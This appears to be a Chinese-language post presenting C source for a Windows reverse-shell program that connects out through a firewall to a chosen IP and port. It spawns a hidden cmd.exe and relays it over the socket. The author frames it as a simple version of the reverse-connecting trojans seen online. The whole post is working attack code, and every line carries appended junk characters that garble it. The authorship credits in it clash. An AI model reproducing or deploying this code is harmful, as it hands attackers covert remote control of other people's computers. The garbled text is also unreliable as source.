这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 wy''tqg6
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/* ============================== 6)ycmu;!$
Rebound port in Windows NT N0Gf0i>
By wind,2006/7 Uan,H1a
===============================*/ Yj3 P 7k$c
#include Te;gVG *
#include :lK4
db
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#pragma comment(lib,"wsock32.lib") :7\9xH
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void OutputShell(); J^fm~P>.
SOCKET sClient; >Dne? 8r
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3%^z ?_
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void main(int argc,char **argv) GQx9u^>
{ 0qv$:w)g+v
WSADATA stWsaData; 2Pp&d>E4
int nRet; |6%.VY2b
SOCKADDR_IN stSaiClient,stSaiServer; "V3}t4
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if(argc != 3) Tw//!rpG
{ n>P!u71
printf("Useage:\n\rRebound DestIP DestPort\n"); Noh?^@T`Ov
return; A:eG5K}
} _R7 w?!t8
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WSAStartup(MAKEWORD(2,2),&stWsaData); Tr&E4e
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RZO5=L9E
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stSaiClient.sin_family = AF_INET; [Uli>/%JB
stSaiClient.sin_port = htons(0); b{RqwV5P
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); fYBH)E
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^Dr.DWi{$
{ ,- '4L9
printf("Bind Socket Failed!\n"); 6e .v&f7(
return; [9V]On
} F}U5d^!2
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stSaiServer.sin_family = AF_INET; JDv-O&]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B,_`btJh
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ''S&e
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) MdC<4^|
{ K;U39ofW
printf("Connect Error!"); kX[fy7rVt
return; wGJjA=C
} knT.l"
OutputShell(); m&IsDAn
} %M&3VQ9w
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void OutputShell() t)N;'v &
{ e"Rm_t
char szBuff[1024]; 5)'P'kVi7.
SECURITY_ATTRIBUTES stSecurityAttributes; o2=A0ogz?
OSVERSIONINFO stOsversionInfo; K=6UK%y
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \DA$6w\\
STARTUPINFO stStartupInfo; \Hwg) Uc{
char *szShell; +y&d;0!
PROCESS_INFORMATION stProcessInformation; ?t rV72D
unsigned long lBytesRead; `.=sTp2rbc
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); j'GtgT
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); J!h^egP
stSecurityAttributes.lpSecurityDescriptor = 0; '<@=vGsye
stSecurityAttributes.bInheritHandle = TRUE; dTGA5c
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= .oHnMX2M
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *Oo &}oAj
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }nud
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); GK{{ 7B
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RY=1H
stStartupInfo.wShowWindow = SW_HIDE; b2kWjg.4
stStartupInfo.hStdInput = hReadPipe; 0oU=RbC
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Lw*]EG|?
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GetVersionEx(&stOsversionInfo); a<m-V&4x
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switch(stOsversionInfo.dwPlatformId) [s`
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{ ?4[H]BK
case 1: :\yc*OtX
szShell = "command.com"; XM~~y~j
break; jm3G?Vnq
default: pCU*@c!
szShell = "cmd.exe"; I^3:YVR&
break; &~-~5B|3"
} ^#e~g/
rt4Z;
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vR>o}%`
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send(sClient,szMsg,77,0); wJG$c-(\0
while(1) eW8[I'v_&
{ f h<*8w0H
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); o a<q /
if(lBytesRead) "T6#
{ D59T?B|BdD
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); PRs@zkO
send(sClient,szBuff,lBytesRead,0); 2 x4=
} lKV"Mh+6
else ULBg{e?l8
{ UQT'6* !
lBytesRead=recv(sClient,szBuff,1024,0); .q;ED`G
if(lBytesRead<=0) break; Hl7:*]l7b
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 0ys~2Y!eH
} 1 W'F3
} z4M1D9iPY
ftZj}|R!
return; @Doyt{|T
}